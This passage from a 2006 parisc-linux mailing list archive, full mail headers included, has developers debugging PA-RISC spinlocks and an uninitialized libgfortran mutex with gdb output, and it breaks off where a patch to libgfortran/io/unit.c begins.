	Sat, 10 Jun 2006 10:41:22 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.64.188] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id cYJ08dP2
	authenticated by SMTP; Sat, 10 Jun 2006 10:41:16 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200606070725.43473.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Zza8c2lEbGI0oKaDYmRnZH1ncmZ1ZlxI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23738

On Wed June 7 2006 07:25, Michael S. Zick wrote:
> On Tue June 6 2006 23:09, John David Anglin wrote:
> > 
> > 
> > I've looked at the locking in hpux a bit.  As far as I can tell,
> > the kernel never really spins.  It has code to do pre-arbitration
> > and keeps track of tasks and priorities.  When a lock is released,
> > the code calls into suwaiters to see if the lock should be handed
> > over to another task or released.  When we just spin, we are relying
> > on the bus arbitration to select a winner.  So, when we have a
> > highly contended lock, it might be  possible for a cpu to get locked
> > out for sufficient time to cause a softlockup.
> > 
> 
> I never went back to correct the state tables in the document I worked
> up to match the most recent code snippets...
> 
> I will fix that and then post a link on this list.
> 

Document is now updated.  Intended to be a continuation of Dave's one
spinlock per cache-line experimental patch.

See:
http://www.morethan.org/parisc/pa-spinlocks.html
http://www.morethan.org/parisc/pa-spinlocks.pdf

>
> Right or wrong - that document gives us the ground work for lock passing
> and lock failure recovery without ever having seen HPUX.
>

Document does not yet have pa-risc examples of lock passing and lock failure
recovery - you need to consult the references made for those at this point.
 
> 
> > Dave
> 
> Mike

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 20:34:33 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
References: <119aab440606111620w40d1808en7adec56144d4b1aa@mail.gmail.com>
	<200606112357.k5BNvgoL020309@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624105 19881 80.91.229.3 (22 Nov 2014 02:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 00:34:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 12 Jun 2006 02:34:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D98A77D6BC;
	Sun, 11 Jun 2006 18:34:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24055-05; Sun, 11 Jun 2006 18:34:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D9ED7D6BE;
	Sun, 11 Jun 2006 18:34:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA8627D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 18:34:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24055-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 18:34:35 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.238])
	by free.linux.hp.com (Postfix) with ESMTP id A0C7F7D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 18:34:35 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so1174320wri
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 17:34:33 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=aQbQmO6/n6gvbO3iOCnXDrQeVKoSUGZRByuDtX1hEdgzTBkpQkKe2NBWYA0k+CqL12DGWvFtj1vtbZ6JxUXH31GO9DPqWLWVTEDRfGUqkccuxK/rlrad/Za1o2apCtpzUJSvqKeFHR8eXduLSNPFPfXkeWiAWQ3Utus20OJcAQU=
Original-Received: by 10.54.143.9 with SMTP id q9mr4914635wrd;
	Sun, 11 Jun 2006 17:34:33 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Sun, 11 Jun 2006 17:34:33 -0700 (PDT)
In-Reply-To: <200606112357.k5BNvgoL020309@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 3b75cc9ff2b61743
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ko65cLZ2Rkkei6uPfGRq1mlmdWkvKBN5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23739

On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> (gdb) p *spinlock
> $10 = {lock = {0, 0, 0, 0}} <== we would see some ones if initialized
> So, I believe the value for spinlock in the backtrace.  Thus, this is
> probably a libgfortran issue.

That is good news! It's an unfortuante side-effect of our lock code.
Which goes away in NPTL ... thankfully.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 20:54:15 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200606120054.k5C0sF1m025654@hiauly1.hia.nrc.ca>
References: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624106 19883 80.91.229.3 (22 Nov 2014 02:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 00:54:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 12 Jun 2006 02:54:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6359B7D6CC;
	Sun, 11 Jun 2006 18:54:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24495-01; Sun, 11 Jun 2006 18:54:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C70597D6BA;
	Sun, 11 Jun 2006 18:54:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A14A7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 18:54:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24123-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 18:54:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D919B7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 18:54:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5C0sG0D025657;
	Sun, 11 Jun 2006 20:54:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5C0sF1m025654;
	Sun, 11 Jun 2006 20:54:15 -0400 (EDT)
In-Reply-To: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
	from "Carlos O'Donell" at Jun 11, 2006 08:34:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dI25dYpUbUko7+nGPWgne2FkZ2hlN0qH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23740

> On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > (gdb) p *spinlock
> > $10 = {lock = {0, 0, 0, 0}} <== we would see some ones if initialized
> > So, I believe the value for spinlock in the backtrace.  Thus, this is
> > probably a libgfortran issue.

In the first call to st_write_done, I see:

(gdb) p *((st_parameter_dt *)$r26)->u.p.current_unit
$38 = {unit_number = -1, s = 0x193248, left = 0x0, right = 0x0, priority = 0,
  read_bad = 1, current_record = 1, endfile = NO_ENDFILE, mode = WRITING,
  flags = {access = ACCESS_SEQUENTIAL, action = ACTION_READWRITE,
  blank = BLANK_NULL, delim = DELIM_NONE, form = FORM_FORMATTED,
  is_notpadded = 0, position = POSITION_ASIS, status = STATUS_UNSPECIFIED,
  pad = PAD_YES, convert = CONVERT_NATIVE}, recl = 36, last_record = 0,
  maxrec = 0, bytes_left = 0, lock = {__m_reserved = 0, __m_count = 0,
  __m_owner = 0x0, __m_kind = 0, __m_lock = {__spinlock = {lock = {0, 0, 0,
  0}}, __status = 0}}, waiting = 0, closed = 0, ls = 0x0, rank = 0,
  file_len = 0, file = 0x0}

The only unit numbers that I see being initialized are 5, 6 and 0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 21:55:43 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <200606120155.k5C1tiwb028878@hiauly1.hia.nrc.ca>
References: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624106 19888 80.91.229.3 (22 Nov 2014 02:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 01:55:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 12 Jun 2006 03:55:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9C377D6BA;
	Sun, 11 Jun 2006 19:55:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24614-07; Sun, 11 Jun 2006 19:55:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 48D0C7D6CA;
	Sun, 11 Jun 2006 19:55:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E73F7D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 19:55:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24495-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 19:55:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 175FA7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 19:55:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5C1tiGA028879;
	Sun, 11 Jun 2006 21:55:45 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5C1tiwb028878;
	Sun, 11 Jun 2006 21:55:44 -0400 (EDT)
In-Reply-To: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
	from "Carlos O'Donell" at Jun 11, 2006 08:34:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zKXnLEhoTlIvsreQeGhr72hGU2poZRnE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23741

> That is good news! It's an unfortuante side-effect of our lock code.
> Which goes away in NPTL ... thankfully.

Here's another one (libjava Process_3.exe):

(gdb) bt
#0  0x4005e1f4 in nanosleep () from /lib/libpthread.so.0
#1  0x40059270 in __pthread_timedsuspend_new () from /lib/libpthread.so.0
#2  0x40056414 in pthread_cond_timedwait@GLIBC_2.2 () from /lib/libpthread.so.0
#3  0x41872de8 in _Jv_CondWait (cv=0x402bde20, mu=0x402bde30,
    millis=<value optimized out>, nanos=0)
    at ../../../gcc/libjava/posix-threads.cc:169
#4  0x4185f3d0 in java::lang::Object::wait (this=0x0, timeout=1000, nanos=0)
    at ../../../gcc/libjava/java/lang/natObject.cc:1333
#5  0x4184a48c in java.lang.Object.wait(long)void (this=0x432fd9d0,
    timeout=35486947928) at ../../../gcc/libjava/java/lang/Object.java:449
#6  0x41c97ee0 in java.lang.ConcreteProcess$ProcessManager.run()void (
    this=0x40536f50) at ConcreteProcess.java:142
#7  0x41864104 in _Jv_ThreadRun (thread=0x40536f50)
    at ../../../gcc/libjava/java/lang/natThread.cc:302
#8  0x41872770 in really_start (x=0x401d9830)
    at ../../../gcc/libjava/posix-threads.cc:432
#9  0x424d93e0 in GC_start_routine (arg=0x401f6e80)
    at ../../../gcc/boehm-gc/pthread_support.c:1191
#10 0x40057498 in pthread_start_thread () from /lib/libpthread.so.0
#11 0x40933754 in clone () from /lib/libc.so.6
#12 0x40933754 in clone () from /lib/libc.so.6
Previous frame identical to this frame (corrupt stack?)

After the testsuite had completed, I noticed that two Process_3 processes
were still running.  I attached to both with strace but there wasn't any
syscall activity in either.  I then killed the process that top said was
using almost 100% of the cpu with SIGABRT and got a core dump with the
above backtrace.  I'm now left with:

dave      7124     1 92 08:13 ?        12:29:14 [Process_3.exe]

>>From past experience, rebooting is the only way to get rid of this
task.  This was using a 32-bit c3k kernel (2.6.17-rc3-pa3).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 22:27:40 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <119aab440606111927j740b57efgebcb6a33705c639d@mail.gmail.com>
References: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
	<200606120054.k5C0sF1m025654@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624106 19890 80.91.229.3 (22 Nov 2014 02:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 02:27:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 12 Jun 2006 04:27:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CB377D6D9;
	Sun, 11 Jun 2006 20:27:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25284-07; Sun, 11 Jun 2006 20:27:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A9187D6CC;
	Sun, 11 Jun 2006 20:27:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 057897D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 20:27:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25242-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 20:27:41 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.224])
	by free.linux.hp.com (Postfix) with ESMTP id F106C7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 20:27:40 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so1186218wri
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 19:27:40 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=b7FcI3KGrZ22+BkGxim5ltGyTxSU+tyu42SD12Mf4KdeVuZmDlzZnW1qV4KLX7D/9zb+DVxxVbFC0sLhZYLddPs2oPE5zSpXnR9B46BmmVKuXzH2oa8Ptzf8yx10H4dppI86osUywh6yfBJqeU4RFpa6+I2hcxzviqLvAZ9HYkg=
Original-Received: by 10.54.113.3 with SMTP id l3mr4957962wrc;
	Sun, 11 Jun 2006 19:27:40 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Sun, 11 Jun 2006 19:27:40 -0700 (PDT)
In-Reply-To: <200606120054.k5C0sF1m025654@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 8473bc5858cd5a28
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q7XkCTtcbHIyva3NNjQ02XkqJihyapCu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23742

On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> (gdb) p *((st_parameter_dt *)$r26)->u.p.current_unit
> $38 = {unit_number = -1, s = 0x193248, left = 0x0, right = 0x0, priority = 0,
>   read_bad = 1, current_record = 1, endfile = NO_ENDFILE, mode = WRITING,
>   flags = {access = ACCESS_SEQUENTIAL, action = ACTION_READWRITE,
>   blank = BLANK_NULL, delim = DELIM_NONE, form = FORM_FORMATTED,
>   is_notpadded = 0, position = POSITION_ASIS, status = STATUS_UNSPECIFIED,
>   pad = PAD_YES, convert = CONVERT_NATIVE}, recl = 36, last_record = 0,
>   maxrec = 0, bytes_left = 0, lock = {__m_reserved = 0, __m_count = 0,
>   __m_owner = 0x0, __m_kind = 0, __m_lock = {__spinlock = {lock = {0, 0, 0,
>   0}}, __status = 0}}, waiting = 0, closed = 0, ls = 0x0, rank = 0,
>   file_len = 0, file = 0x0}
>
> The only unit numbers that I see being initialized are 5, 6 and 0.

The "lock" variable must always be initialized.
The value of __GTHREAD_MUTEX_INIT should be set to PTHREAD_MUTEX_INITIALIZER.

There might be some missing initializers, or memsets, which don't show
problems on i686-pc-linux-gnu, but are invalid things to do on hppa :)

I see that "unit_lock" is initialized properly, without this nothing would work.

There is a bug in "get_internal_unit" where there is a memset of a
"gfc_unit" without a mutex initializer.

Index: libgfortran/io/unit.c
===================================================================
--- libgfortran/io/unit.c       (revision 114219)
+++ libgfortran/io/unit.c       (working copy)
